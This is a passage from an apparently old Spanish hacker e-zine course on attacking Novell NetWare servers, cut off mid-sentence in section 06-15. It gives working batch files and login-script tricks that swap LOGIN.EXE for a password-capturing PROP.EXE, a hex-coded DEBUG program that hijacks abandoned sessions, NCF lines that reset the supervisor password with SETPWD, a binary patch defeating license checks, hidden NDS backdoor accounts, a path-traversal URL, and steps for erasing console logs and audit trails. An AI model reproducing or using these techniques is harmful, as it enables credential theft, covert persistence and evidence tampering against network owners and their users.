-[ CURSO DE NOVELL NETWARE
-IV- Y -V- ]--------------------------------------
-[ by MadFran
]-------------------------------------------------------SET-16-
Cuarto capitulo sobre
Novell Netware
Capitulo - 04 LA CONSOLA
04-1 Como evitar los
registros de consola.
Necesitamos acceso a la
consola y privilegios de super. La red debe tener
3.11 o superior y que
funcione CONLOG.NLM. Cualquier red en estas condiciones
graba todos los mensajes en
un archivo. Si lanzas SETPWD desde la consola, la
respuesta se graba en el
archivo log. Aqui estan los pasos para determinar
si esta activada y como
evitarlo.
- Teclea MODULES en la consola, busca CONLOG.NLM, si lo
encuentras....
esta activo.
- Busca CONSOLE.LOG en SYS:ETC. Es un fichero de texto que se
puede
mirar pero no editar ni borrar si CONLOG esta activo.
- Unload CONLOG en la consola.
- Borra, o mejor edita CONSOLE.LOG, borrando tus rastros.
- Carga CONLOG. Te dara un mensaje.
- Lanza PURGE desde SYS:ETC para borrar viejas versiones de
CONSOLE.LOG
que tu editor puede haber dejado.
04-2 Se puede utilizar la
password de RCONSOLE para que trabaje como Super ?
Si y no. En version 3.x, la
password del super siempre funciona.
Un error frecuente acerca
de la password del super en 3.x es utilizar un
switch para que solo lo
utilice la password del super.
Funciona asi :
LOAD REMOTE /P=
en lugar de
LOAD REMOTE RCONPASSWORD
El admin piensa que /P=
desconecta a cualquier menos a super para RCONSOLE.
De hecho la password se
queda en /P=, dejandote entrar.
El segundo error mas
frecuente es utilizar -S
La version 4.1 es un poco
diferente. Funciona de la forma siguiente :
- En la consola teclea REMOTE SECRET, donde SECRET es la
password de la
consola.
- Teclea REMOTE ENCRYPT. Te pedira una password para
encriptar.
- Esto te dara la version encriptada del password, y te dara
la opcion
de escribir LDREMOTE.NCF en el directorio SYS:SYSTEM,
conteniendo
todas las entradas que soportan la carga del Remote
Console.
- Se puede lanzar LDREMOTE a partir de tu AUTOEXEC.NCF, o
puedes
cambiar la linea LOAD REMOTE en AUTOEXEC.NCF de la forma
siguiente:
LOAD REMOTE SECRET
se convierte en
LOAD REMOTE -E
870B7E366363
Otra nota.
Para asegurar que el
password de super funcione con RCONSOLE (4.02 o
superior), a¤ade el switch
para ocultar -US
LOAD REMOTE -E 870B7E366363
-US
Otro switch no documentado
es -NP, que significa sin password.
04-3 Como puede evitar el
bloqueo de MONITOR
Hay un camino facil y
sencillo para hacerlo para hacerlo en 3.11 si tienes un
servidor de impresion.
He aqui la explotacion del
bug en 3.11
- Utiliza PCONSOLE para parar el servidor de impresion. Esto
provoca
que la ventana del monitor vaya a la ventana de la
impresion y espera
el enter para salir de la ventana.
PCONSOLE se lanza sin
ninguna dificultad, pero una vez dentro no he encontrado
ninguna opcion para parar
el servidor.
- Vete a la ventana de la consola y teclea UNLOAD MONITOR.
- Mira en AUTOEXEC.NCF la linea PSERVER.NLM y manualmente
vuelve a
cargar PSERVER.NLM
Tanto en 3.x como en 4.x,
intenta los pasos de la seccion 02-6.
Puedes probar cualquier
password en la consola desbloqueada adema de
desconectar la proteccion
de password en 3.x
Quinto capitulo sobre
Novell Netware
Capitulo - 05 ACCESOS A
ARCHIVOS Y DIRECTORIOS
05-1 Como puedo ver
archivos y directorios ocultos.
En lugar del comando normal
DIR, utiliza NDIR (facil, no?).
NDIR *.* /S /H te permitira
ver tambien los archivos de sistema.
05-2 Como puedo evitar el
flag "execute-only"
Si un archivo esta marcado
como solo para ejecutar, todavia es posible
abrirlo. Abre el archivo
con un programa que lea ejecutables y grabalo en
otro directorio.
Tambien puedes probar
X-AWAY.EXE para eliminar esta marca si el programa
FLAG.EXE de Novell no puede
hacerlo. Pero, de nuevo, X-AWAY.EXE solo funciona
con privilegios de super.
Para desactivar el chequeo
de accesos de super en X-AWAY, intenta lo
siguiente :
REN X-AWAY.EXE WORK
DEBUG WORK
EB84 EB
W
Q
REN WORK X-AWAY.EXE
Listo ! Cualquiera puede
copiar archivos de solo ejecucion. El unico problema
es que necesitas
practicamente derechos totales en el directorio donde
residen los archivos.
05-3 Como ocultar nuestra
presencia despues de alterar archivos
El mejor metodo es usar
Filer. Pasos a seguir para eliminar alteraciones de
archivos.
- Lanza Filer o utiliza NDIR y apunta los atributos del
archivo objetivo,
sobre todo la fecha y propietario del archivo.
- Realiza los cambios en el archivo.
- Lanza Filer o utliza NDIR para ver si los atributos han
cambiado. Si
es asi, vuelvelos a sus valores originales.
Pulsando F1 en Filer,
tendras toda la ayuda en linea que necesites, el camino
mas rapido es lanzar Filer
en el directorio donde esta el archivo, marcarlo
y pulsar enter,
seleccionando File Options y despues View/Set File
Information. View y Edit y
lo que desees.
05-4 Que es un troyano de
Netware
Un troyano de Netware es un
programa que supuestamente hace una cosa pero
realmente hace otra, y esto
utilizando las utilidades API de Netware. Yo
nunca me he encontrado
personalmente uno, pero asi es como en teoria
funcionan.
- El troyano se coloca en una terminal a ser posible que
utilice el
administrador. El troyano se puede llamar algo parecido a
CHKVOL.COM o
VOLINFO.COM, que es un nombre real pero con extension COM. Se
tiene
que colocar en el path de la estacion de trabajo.
- Cuando se ejecuta, el troyano utiliza las llamadas API para
determinar
si la persona conectada tiene derechos de super, si no es
asi pasa a
la siguiente tarea. En caso contrario se ejecuta alguna
accion para
romper la seguridad.
- Despues se ejecuta CHKVOL.EXE o VOLINFO.EXE real como si
nada.
La rotura de la seguridad
tipicamente lo hace algun tipo de actividad de
comando en linea que
deberia ejecutarse por las llamadas del sistema.
Por ejemplo, PROP.EXE
podria ejecutarse para construir una propiedad y
reemplazar LOGIN.EXE
copiandolo en el server en el directorio SYS:LOGIN.
O RW que permite acceso al
SYS:SYSTEM para no-super usuarios como si fuera
GUEST. Una vez activado el
troyano se puede borrar a si mismo.
05-5 Que son los Trustee
Diretory Assignments.
Lan God ha se¤alado que los
Trustee Directory Assignements son los servicios
peor entendidos y mal
configurados de Novell Netware. Tipicamente un sitio
seguro deberia tener Read y
File Scan solo en pocos directorios, y no deberia
tener ningun derecho en el
directorio raiz de ningun directorio. Se pueden
asignar derechos via el
filtro Trustee Directory Assignements hacia abajo en
el arbol del directorio, de
forma que si un usuario tiene acceso de escritura
en el directorio raiz,
tambien tendra dichos derechos en todos los
directorios que se
encuentren debajo (a no ser que explicitamente se limite
el derecho).
Los derechos no estan
localizados en el bindery, sino en cada volumen.
A continuacion una breve
descripcion de Trustees y Trustee Directory
Assignements copiados de :
COMP.OS.NETWARE.SECURITY, FAQ
Un "Trustee" es
cualquier usuario o grupo que tiene derechos de acceso en un
directorio. Los derechos de
acceso son ligeramente distintos en Netware 2 que
en 3.
S - Supervisor. Cualquier
usuario con derechos de supervisor en un directorio
tendra todos los demas derechos, esten o no explicitamente
declarados.
Las cuentas con derechos de Supervisor conservaran estos
derechos en
cualquier directorio.
R - Leer. Da derechos de
lectura de archivos.
C - Crear. Permite crear
archivos y directorios. A no ser que tenga derechos
de escritura, no podra editar los archivos que han sido
creados.
W - Escribir. Permite al
usuario hacer cambios en archivos. A no ser que
tengan tambien derechos de creacion, no podras editarlos, ya
que las
operaciones de escritura solo pueden usarse para ampliar
archivos (no
truncarlos, cosa que hacen los editores normales).
E - Borrar. Permite borrar
y eliminar archivos.
M - Modificar. Permite
modificar atributos de archivos.
F - Mirar. Permite al
usuario ver informacion de archivos y directorios. Si
un usuario no tiene derechos de mirar, no tendra evidencia alguna
de la
existencia de los archivos.
A - Control de acceso.
Permite al usuario cambiar los derechos. Le permitira
dar accesos tipo A a otros, quitar derechos y revocar derechos
especificos. El unico problema es que es incluso posible quitar
derechos
de si mismo, con lo cual,...los pierdes.
Esto es como hacer el
organigrama de tu empresa y.... no ponerte.
05-6 Explotacion de alguna
asignacion de derechos
Hay dos formas. En 3.x el
grupo EVERYONE tiene derechos en SYS:MAIL. Esto
significa que el usuario
(incluso GUEST) puede escribir archivos en cualquier
subdirectorio en SYS:MAIL.
No es totalmente cierto.
Puedes escribir en los directorios que tienes
derechos. Estos varian en
funcion de lusuario
Las primeras versiones de
Netware incluian un sencillo paquete de mail, y
todo nuevo usuario tiene un
subdirectorio en MAIL con derechos RRCWEMF, con
su numero de
identificacion. Un numero importante es el 1, que pertenece al
supervisor. Aqui hay un
sistema de explotarlo.
TRUCO No 1
----------
- Login como GUEST y cambia
al directorio SYS:MAIL
(En realidad cualquier directorio es bueno)
- Teclea DIR. Veras un
subdirectorio, este es el que pertenece a GUEST.
Cambia a este subdirectorio (Por ejemplo C0003043)
- Teclea DIR. Si no hay
ningun archivo llamado LOGIN, puedes proseguir.
Si hay algun archivo LOGIN, incluso vacio, no puedes hacerlo.
- Copia la version itsme de
PROP.EXE y LOGIN.EXE en el directorio
SYS:MAIL\C0003043.
- Crea un archivo batch
(llamalo BOM.BAT) en este directorio, con el
siguiente contenido.
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL *REM Cambia los atributos de
LOGIN a Normal
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL *REM Cambia a S (Compartible)
RO (Solo Lectura)
\MAIL\C0003043\PROP -C > NUL
- Crea un archivo LOGIN.BAT
con el contenido siguiente.
MAP DISPLAY OFF
MAP ERRORS OFF
MAP G:=3DSYS:
G: * REM En algun sistema DRIVE G:
COMMAND /C #\MAIL\1\BOMB
F: * REM En algun sistema DRIVE F:
MAP DELETE G:
- Ahora copia los archivos
en el directorio del supervisor desde el drive
mapeado al volumen SYS:
TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
TYPE LOGIN > \MAIL\1\LOGIN
Como no tengas derechos de
supervisor, esto no hay quien lo haga
La proxima vez que el
supervisor se conecte el archivo LOGIN.EXE original es
reemplazado y se ejecuta
PROP.EXE, capturando passwords. Lanza PROP mas tarde
para cosechar los passwords
cazados. Tendras todos los passwords (incluidos
los del supervisor). No te olvides
de borrar los archivos LOGIN y BOMB.BAT.
El administrador puede
evitar esto creando login scripts personales o
a¤adiendo un comando EXIT
al final del System Login Scrip. Las ultimas
versiones de Netware crean
un archivo LOGIN vacio en los directorios
SYS:MAIL.
TRUCO No 2
----------
Pegasus mail tiene un fallo
que lo enlaza con los derechos de creacion en
SYS:MAIL. He aqui como
usarlo :
- Creas un archivo
RULES.PMQ que lanza un programa despues de recibir un
mensaje mail. El programa es algo parecido a esto.
COMMAND /C F:\MAIL\1\BOMB.BAT
- Supongamos que tu
directorio mail es SYS:MAIL\C0003043. Copia PROP.EXE
y LOGIN.EXE (version istme) en este directorio.
- Tu BOMB.BAT deberia ser
algo asi.
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- Cuando el super lea el
mail, se activa LOGIN.EXE y empieza a capturar
passwords. Despues de adquirir derechos super, borra los archivos
de
SYS:MAIL\1
Este truco solo funciona si
RULES.PMQ no existe en el directorio destino.
TRUCO #2a
---------
Si RULES.PMQ existe, no
puedes hacerlo, ya que solo puedes crear archivos
nuevos en este directorio.
Pero hay una posibilidad de que super lo haga por
ti.
- Crea extra reglas para
Pegasus. Llamalas desde RULEA.PMQ hasta RULER.PMQ,
y de RULET.PMQ hasta RULEZ.PMQ.
- La proxima vez que super
se conecte, le dara un error.
- Intentara corregirlo
borrando RULE?.PMQ,... y de paso borrara RULES.PMQ.
- Ahora puedes ir al TRUCO
2.
05-7 Algunas reglas
generales sobre derechos.
Para ver tus derechos,
utiliza el comando WHOAMI /R. A contimuacion un
resumen de los derechos mas
comunes y su proposito. Donde aparece x,
significa que es igual la letra
que aparece.
[SRCWEMFA] Significa que
tienes todos los derechos.
[Sxxxxxxx] Solo aparece si
eres supervisor o equivalente. Significa que
tienes acceso pleno en este directorio y todos los
subdirectorios.
No puedes ser excluido de ningun subdirectorio aunque
otro usuario
explicitamente lo declare.
[xxxxxxxA] Es lo mejor
despues de super. Significa que tienes control en
todos los directorios y subdirectorios. Te pueden
revocar los
derechos en un subdirectorio pero siempre los puedes
recuperar
mediante herencias.
[_R____F_] Solo derechos de
lectura. Tipico para directorios de software.
[_RCWEMFx] Lo que
normalmente se tiene en el directorio propio. Si encuentras
algun directorio con estos derechos, se puede utilizar
para
archivar ficheros (y saltarte las limitaciones de
espacio).
[_RxW__Fx] Normalmente para
archivos log. A no ser que tengas derechos C, no
es posible editar los archivos en este directorio.
El comando RIGHTS te dira
los derechos que tienes en un directorio en
particular. GRANT, REMOVE y
REVOKE se utilizan para dar derechos.
05-8 Como puede ayudarte el
acceso a los archivos NCF
El acceso a algun fichero
.NCF puede evitar la seguridad, ya que
tradicionalmente estos
archivos se lanzan desde la consola y se asume que
hay seguridad de acceso a
la consola. La adicion de algunas lineas a alguno
de estos archivos te puede
dar acceso al sistema.
El mas vulnerable es el
AUTOEXEC.NCF. A¤adir un par de lineas para lanzar
BURGLAR.NLM o SETPWD.NLM te
dara acceso sin duda. Pero recuerda que hay
otros archivos que te
pueden ayudar. Por ejemplo ASTART.NCF y ASTOP.NCF
se usan para lanzar y parar
Arcserve, el sistema mas popular de backup para
Netware. El archivo
LDREMOTE.NCF, mencionado en el capitulo 04-2 es otro
objetivo potencial.
Las lineas que puedes
a¤adir a archivos como estos son :
UNLOAD CONLOG
LOAD SETPWD SUPERVISOR
SECRET
CLS
LOAD CONLOG
Se asume que tienes
derechos de lectura y escritura en el sitio donde tienes
los archivos NCF y puedes
copiar SETPWD.NLM en el server. Ten presente que
desmontando CONLOG solo
cubriras tus trazas de forma parcial, en el archivo
CONSOLE.LOG sera obvio que
CONLOG ha sido montado y desmontado. El comando
CLS es para borrar tus
actividades de la pantalla de la consola.
El mejor NCF para esto es
obviamente uno que se utilice durante el arranque
o durante operaciones
automaticas. De esta forma un corto NCF y sus
actividades escaparan a los
ojos del administrador.
05-9 Puede alguien hacer
logout y tu aprovecharse de ello ?
Si, he aqui como.
Teclea el siguiente comando
directamente en el DOS.
debug boo.com
e100 eb 2b 80 fc d7 74 22
3d 02 f1 74 1d 3d 19 f2 74
e110 18 3d 17 f2 74 0a 3d
17 f2 74 05 ea 5b 46 4d 5d
e120 50 b0 d2 38 45 02 58
75 f2 f8 ca 02 00 b4 49 8e
e130 06 2c 00 cd 21 b8 21
35 cd 21 89 1e 1c 01 8c 06
e140 1e 01 b8 21 25 ba 02
01 cd 21 ba 2d 01 cd 27 00
rcx
50
w
q
Lanza esto en un terminal
(Net 3.x o 2.x), y espera que alguien lo utilice
y despues se desconecte y
lo abandone,.....Ooops.. aparentemente ha olvidado
hacer bien el logout.
Moraleja : Si utilizas una
red con terminales publicos, ademas de logout
apaga el terminal al irte.
05-10 Otros programas que
dan demasiados accesos
Netware NFS tiene varios
bugs (ver seccion 07-6), asi como IntraNetware
(seccion 12)
Para accesos remotos, los
hackers siempre buscan un Shiva. Mira, si un hacker
tiene el nombre de una
cuenta, no le hace falta nombre de usuario ni password
para conectarse. Si un
usuario de Shiva desconecta sin hacer logout, la
proxima persona que acceda
tendra los derechos de la anterior. Shiva no
desconecta correctamente la
conexion.
Shiva es un sistema
multimodem muy comun para acceder telefonicamente a
las empresas
05-11 Como puedo evitar los
limites de espacio en disco
Algunos administradores
olvidan implementar restricciones en algunos
volumenes, pero dan accesos
de escritura a todos. Esto permite utilizar mas
recursos de los previstos.
Algunos sistemas mantienen
directorios en un volumen, y solo aplican
restricciones en este
volumen. Aplicaciones y archivos de sistema se pueden
colocar en otros volumenes.
Ya que algunas aplicaciones requieren derechos
de escritura en estos
directorios, si no se limita el espacio, algunos
usuarios capaces de lanzar
el programa pueden utilizar el espacio disponible
(Microsoft Mail y su
volumen ..) Es el caso del SYS:MAIL\xxx.
-[ 0x0E
]--------------------------------------------------------------------
-[ CURSO DE NOVELL
NETWARE -VI- Y -VII- ]------------------------------------
-[ by MadFran
]-------------------------------------------------------SET-17-
Sexto capitulo sobre
Novell Netware
Capitulo - 06
DIVERTIRSE CON NETWARE 4.x
06-1. Cosas
interesantes acerca de las licencias de Netware 4.x
Es posible cargar
licencias multiples y combinar el numero total de usuarios.
Por ejemplo, si estas
en una de estas clases de Novell CNE que os dan 2
licencias de 4.1,
puedes coger el CD de todos y combinarlos en un servidor.
Si tienes 10 CDs,
puedes obtener 20 licencias. No hay limite al numero de
licencias y usuarios,
excepto por limitacion de hardware. Esto significa que
puedes cargar mas de
una copia de 1000 usuarios Netware 4.1 en un servidor
(asumiendo que tienes
una unica copia, no la misma copia dos veces).
itsme ha jugado un
poco con estas herramientas, y tiene que decir lo
siguiente acerca de
SERVER.EXE que viene con Netware 4 :
Que hay dentro de
SERVER.EXE :
0001d7c7 server.nlm
type=07
000d319d
"Link" 000d504a
000d31a5 unicode.nlm
type=00 (ordinry NLM)
000d504a
"Link" 000d6e9c
000d5052 dsloader.nlm
type=00 (ordinary NLM)
000d6e9c
"Link" 000db808
000d6ea4 timesync.nlm
type=00 (ordinary NLM)
000db808 polimgr.nlm
type=0c ('hidden' NLM)
editando el binario
de SERVER, y cambiando el tipo de polimgr.nlm de 0c a 00
(offset 007a o
000cb882 en SERVER.EXE), se convirtio en visible. Los NLM
invisibles estan
protegidos contra debugging con el Netware debugger.
Polimgr.nlm maneja
los archivos de licencia, despues de leer el archivo,
chequea con algun tipo
de funcion si es un archivo valido la funcion hace
que siempre el
retorno sea OK, entonces puedes crear cualquier numero de
licencias de usuario.
06-2 Como puedo saber
si algo esta siendo Auditado.
Utiliza RCONSOLE y
escanea el directorio de SYS:_NETWARE. Habra algun tipo de
archivos binarios
llamados NET$AUDT.* si ha sido utilizado Auditing.
Los archivos antiguos
de Audit se llamaran NET$AUDT.A00, .A01, etc
El archivo actual se
llamaran NET$AUDT.CAF. Si no hay nada de eso, no se ha
auditado nunca. Para
chequear si Auditing esta activo, intenta abrir el
archivo Auditing de
esta forma :
LOAD EDIT
SYS:_NETWARE\NET$AUDT.CAF
Si sale algo (poco
legible) significa que Auditing esta off. Si te da un
mensaje de error
diciendo que NET$AUDT.CAF no existe y que hay que crearlo,
significa que el
archivo esta abierto y Auditing esta activo en ALGO
(recuerda, EDIT.NLM
normalmente maneja archivos abiertos bastante bien, pero
intentar abrir un
archivo ya abierto en SYS:_NETWARE siempre da este error)
Tambien, si la red
esta corriendo el software Novell's Web Server, utiliza un
browser e intenta :
http://nw41.nmrc.org/script/convert.bas?../../_netware/net$audt.caf
y si no recibes un
error, Auditing esta o estaba activo. Mira la seccion
12-01 para detalles
de este bug.
06-3 Donde estan los
Login Scrips y como editarlos
El Login Scrips esta
almacenado en SYS:_NETWARE. A pesar de que estos
ficheros son
binarios, se pueden editar facilmente mediante el EDIT.NLM.
Escaneando, mediante
RCONSOLE, los directorios en SYS:_NETWARE, encontraras
archivos con
extension como .000, estos son probablemente Login Scrips.
Abrelos, son archivos
de texto. Por ejemplo, si encuentras 00021440.000
LOAD EDIT
SYS:_NETWARE\00021440.000
Si es un Login
Script, lo veras en texto y podras editarlo y salvarlo. Esto
bypassa la seguridad
de NDS, y es su mayor debilidad. Puedes utilizarlo para
dar a un usuario
derechos extraordinarios que te permitan otras cosas,
incluyendo acceso
completo a los archivos de sistema o cualquier servidor en
el arbol.
06-4 Cual es el
rumoreado backdoor en NDS
El rumoreado backdoor
en NDS existe. El rumor es que es un camino para
instalar un backdoor
en un sistema en NDS completamente oculto para todos y
para todo. Hay un
camino para hacer algo parecido, aunque el "oculto" es
parcialmente visible.
Lo primero, necesitas acceso total a NDS. Pero si
puedes conseguir el
password de Admin o equivalente, entonces puedes
instalar un backdoor
que puede quedar escondido durante meses o a lo mejor
para siempre. Pasos a
seguir :
- Conectate como
Admin o equivalente.
- Lanza NWADMIN y
se~ala un contenedor existente.
- Crea un nuevo
contenedor dentro del anterior.
- Crea un nuevo
usuario dentro del nuevo contenedor.
- Dale derechos
totales sobre su propio objeto.
- Dale derechos totales
sobre el nuevo contenedor.
- Dale equivalencia a
Admin.
- Modifica el ACL al
nuevo usuario de forma que no se pueda ver.
- Ajusta el Inherit
Rights Filter en el nuevo contenedor de forma que nadie
lo pueda ver.
Esta tecnica la
pueden usar los admin paranoicos que quieren dar a otro
usuario acceso total
a un contenedor, y este usuario quiere restringir el
acceso a este
contenedor. Para prevenir el olvido de la palabra de paso por
parte del usuario
(haciendo que toda una seccion del arbol desaparezca) un
admin puede utilizar
tecnicas similares.
No he tenido la
ocasion de testear completamente pero permanece totalmente
invisible al resto de
la LAN. No requiere conocimientos superiores al medio
en NDS para
implementarlo, sin embargo muchos admin no conocen como cuidar
a sus usuarios.
Supongamos que lo has
instalado en la compa~ia XYZ, tu contenedor esta dentro
del contenedor MIS y
se llama BADBOY. Tu backdoor se llama BACDOOR. Haz login
de la forma siguente
:
LOGIN
.BACKDOOR.BADBOY.MIS.XYZ
Ahora mostraras a las
herramientas normales de red que hay una conexion
activa en el server,
por tanto llamarlo "BACKDOOR" no es probablemente una
gran idea. Piensa en
un nombre que sugiera una conexion automatica y solo
utilizarla cuando
pienses que nadie esta alerta.
Si la red tiene Kane
Security Analyst, puede encontrar el backdoor.
06-5 Como quitar NDS
Esto es peligroso.
Puede hacer que pierdas la cuenta de Admin si pierdes la
password. Teclea en
una consola 4.1
LOAD INSTALL
-DSREMOVE
Ahora en el modulo
INSTALL, intenta quitar NDS. Te pedira la password del
Admin, simplemente
daselo. Si te da errores, "no problem". Continua y
puedes quitar NDS del
server. Incluso si le has dado la password equivocada,
te dejara eliminar el
NDS. Os digo que es realmente maligno.....
06-6 Como quitar
Auditing si has perdido la Password Audit
Si el Auditor ha
olvidado la password, intenta una simple limpieza y
recarga.. caramba,
parece que te has desmayado....
Puedes intentar esto
aunque no hay garantia de que funcione, es solo una
teoria. Como sabes
los archivos Auditing estan localizados en SYS:_NETWARE.
En cuanto hay un
Auditing activo, incluso borrando NDS y recreandolo no
desconectara
Auditing. Si quieres puedes borrar y reconstruir SYS: que te lo
desconectara. Intenta
el proceso que te se~alo si estas desesperado. Yo lo
he intentado en el
Nomad Mobile Research Centre Lab e hice este trabajo un
par de veces --- pero
una vez destroce el servidor y NDS. Otra vez
simplemente no
funciono. Pero es asi como se hace :
- Mediante RCONSOLE,
escanea el directorio y localiza los nombres exactos de
los archivos de Audit. Sabemos que
NET$AUDT.CAT lo es, pero hay otros
archivos con extension .$AF.
- Utiliza las
tecnicas descritas en 06-2 y determina exactamente que archivos
estan abiertos en este server para Auditing.
- Intenta rearrancar
el server y lanza un editor de sector.
- Busca el drive para
los nombres de los archivos encontrados.
- Cambia todos los
sucesos de estos archivos, salva los cambios y boot.
- Si no ha funcionado,
intenta arrancar al server usando un SERVER.EXE
version 3.x y localiza SYS:_NETWARE. Borra
todos los archivos Auditing.
- Si esto no
funciona, haz repetidos llamadas a las tablas SYS:_NETWARE
(usando APIs) y o borra o cambia los
archivos mencionados.
Como ultimo recurso
(si estas en 4.11) mira la seccion 06-15
06-7 Guarda 4.x el
password de LOGIN en un archivo temporal ?
Si y no. No en 4.2 o
superior. Si en 4.0.
La version de
LOGIN.EXE que se dio con 4.0 tiene un defecto que bajo ciertas
condiciones permite
escribir cuentas y passwords en un archivo swap, creado
por LOGIN.EXE. Una
vez ha ocurrido, el archivo podria no ser borrado, con
lo cual tanto la
cuenta como el password puede ser visto en texto.
06-8 Cualquiera puede
hacerse equivalente a cualquier otro incluyendo Admin?
Un par de cosas puede
causar esto. Primero, pon los derechos para [PUBLIC],
despues pon el
USER_TEMPLATE para derechos totales. Los derechos de escritura
para ACL te permitira
algunas cosas interesantes, incluyendo hacerte a ti
mismo equivalente a
Admin. Para ganar eqivalencia para cualquier cosa solo
hace falta derechos
de READ y COMPARE.
La implicacion es
obvia, pero dejar que os lo repita. Un backdoor puede
hacerse si una cuenta
se genera de esta forma. Hemos creado una cuenta
llamada TEST que
tiene suficientes derechos para hacer este tipo de cosas.
Simplemente conectate
como TEST , hazte a ti mismo Admin, haz lo que
quieras, elimina al
Admin,... y abre el infierno.
06-9 Puede resetear
un NDS password con derechos limitados ?
Hay una utilidad
freeware llamada N4PASS, que es util para Netware 4.10
(utiliza NDS calls y
no esta basada en bindery).
La utilidad de este
paquete es abilitar un Help Desk para resetear password
de usuarios sin
cancelar toneladas de derechos. Utiliza acceso total y no
requiere manipulacion
masivo de ACL para hacerlo.
Obviamente esta
utilidad abre pocas puertas. El nombre es N4PA12.EXE y puede
bajarse de la web del
autor.
http://FASTLANE.NET/HOMEPAGES/DCOLLINS
y al autor lo podeis
encontrar en
DCOLLINS@FASTLANE.NET
Un par de cosas
interesantes de esta utilidad, si se configura
incorrectamente el
server puede verse comprometido de varias formas. Por
ejemplo, el password
generado es un calculo que utiliza un archivo temporal,
la fecha, el loginname
el HalpDesk loginname, el valor sencillo y algunas
otras cosas (en
N4PASS.TXT)
Si N4PASS no lo borra
inmediatamente, el archivo es copiable. Ademas, si los
derechos sobre el
directorio de N4PASS estan abiertos, se puede descubrir la
password por defecto,
por tanto, lee atentamente las instrucciones si estas
instalandolo. Si eres
un hacker,...hazlo tambien.
06-10 Que es
OS2NT-NLM
OS2NT.NLM es un NLM
suministrado por Novell para recuperar/fijar Admin,
cuando se convierte
en un objeto desconocido,... especialmente despues de
DSREPAIR.
Este modulo esta
considerado como ultimo recurso NLM y tienes que contactar
con Novell para
utilizarlo. A pesar de que no lo he visto nunca, se supone
que tiene que estar
en uno de los FTP de Novell. Se piensa que esta
configurado por
Novell para trabajar con tu numero de serie y es de una unica
utilizacion.
Tienes que demostrar
a Novell quien eres y que tu copia esta registrada.
Se podria sospechar
que es posible que este NLM se pueda hackear para evitar
el uso unico y el
chequeo del numero de serie, pero un restore de NDS desde
un backup podria
realizar todo esto mucho mejor. Este camino es un poco
destructivo.
06-11 Tienes que ser
Admin para resetear un password ?
No. Hay una utilidad
freeware llamada N4PASS, que se propone para Netware
4.10 (utiliza
llamadas NDS y no se basa en el bindery). Mira 06-9 para
detalles. Seteando
especificamente grupos que tienen acceso a otros password
de grupos, podrias
tener un subconjunto de usuarios (el HelpDesk). Si eres
administrador
probablemente quieres estar seguro que tu HelpDesk no te
resetea tu password
de Admin.
06-12 Que pasa si no
puedo ver SYS:_NETWARE utilizando RCONSOLE ?
Arrancando con el
patch 410pt3 de Novell, no podras ver SYS:_NETWARE desde
RCONSOLE. Es
sorprendente que la posibilidad de ver en este directorio es
cada vez mas dificil
con cada nueva release.
Con Netware 4.11 no
podras verlo con RCONSOLE. Pero no desesperes, hacker,
tus amigos en Novell
no se han olvidado de vosotros (Seccion 06-15)
06-13 Consideraciones
acerca de la seguridad en las particiones del arbol
La mayor parte de
estas consideraciones en items individuales, pero aqui
analizaremos un poco
acerca del particionado del arbol.
Como se dijo en la
seccion 02-6, puedes configurar el bindery de un server
para ayudarte a
recuperar una password de Admin olvidada. Se debe decir que
solo puedes acceder
contenedores en las particiones del server actual.
En redes grandes las
cosas son mas complejas. Por ejemplo, una cuenta de
supervisor (con
acceso total al archivo del sistema) puede tener accesos
limitados en otro
servidor. El numero de puntos debiles para intrusos crece
con el tama~o de la
red. Un hacker podria explotar esto y alcanzar control
de otras particiones,
si algun objeto en la primera particion que ha sido
comprometida tiene
derechos en otras particiones.
Los intrusos podrian
facilmente darse asi mismo equivalencia de seguridad
en este objeto o
cambiar la password de los objetos con SYSCON, despues
hacer login a estos
objetos y accedeer a los otras particiones.
En otras palabras, si
un read/write o particion master se almacena en un
server, puede
potencialmente manipular todos los objetos en esta particion
y a partir del
momento que la password del supervisor puede ser reseteada
desde la consola,
otras particiones corren riesgo.
Las replicas
Read/Only de una particion por naturaleza no te permitira
aplicar tu bindery a
un contenedor en esta area,... son,... solo lectura.
Desde luego alguien
puede desconectar el server desde la red y lanzar
DSREPAIR en este
server para cambiar la particion a master, pero esto es
mas bien extremo.
Novell recomienda
restringir los derechos de los objetos a su propia
particion y crear
particiones replica solo en servidores autentificados.
Pongamos un ejemplo
para ilustrar :
- El servidor
ACCOUNTING tiene un monton de hojas, documentos y una base
de datos utilizada por el departamento de
cuentas con todo tipo de
informacion. El contenedor ACCT-USERS tiene
derechos IRF.
- Hay una cuenta
llamada MAINTENANCE en el contenedor ACCT_USERS cuya
password puede ser reseteada por el manager
ACCOUNTING.
Esto se hace para cuando el administrador de
la LAN necesita hacer algun
tipo de mantenimiento, como construir
identidades con derechos de acceso,
etc. que el manager de ACCOUNTING no sabe
hacer.
- Una replica de la
particion con derechos de lectura/escritura, conteniendo
el contenedor ACCT-USERS existe en un
servidor lejano en una peque~a
oficina de ventas. Un empleado temporal ha
tenido acceso a la habitacion
donde se encuentra el servidor.
- Una tarde el
empleado temporal utiliza SETPWD.NLM y resetea la password de
la cuenta MAINTENANCE.
- Al dia siguiente
(despues de replicacion) el empleado fusila todos los
documentos de ACCOUNTING incluyendo las nominas,
informacion personal
previsiones de ventas, planes de
inversion,...
06-14 Puede un Supe
de departamento llegar a ser Admin del arbol entero ?
Si bajo ciertas
condiciones.
- El arbol tiene un
OU llamado LAWDEPT.
- La cuenta Admin
esta en la raiz del arbol.
- Una cuenta de
supervisor departamental llamada FRED esta localizada en
LAWDEPT con derechos Admin en LAWDEPT OU (Un
autentificado de LAWDEPT y
derechos super de objetos y propiedades).
- El server LawServer
esta en el LAWDEPT OU con dos bindery, uno en LAWDEPT
OU y otro en la raiz (por tanto Admin puede
hacer login via el bindery
si lo necesita).
- A pesar de que FRED
solo puede hojear la raiz, puede lanzar SYSCON y
modificar la cuenta Admin para ganar mas
accesos asi como passwords.
- Si FRED es on
psicopata, puede borrar la cuenta de Admin y volver las
gestion del arbol imposible.
06-15 Cual es el
nuevo cammino para conseguir SYS:_NETWARE ?
Utilizando JCMD.NLM
(lo puedes conseguir en algunos sitios de FTP de la
seccion 09), es posible
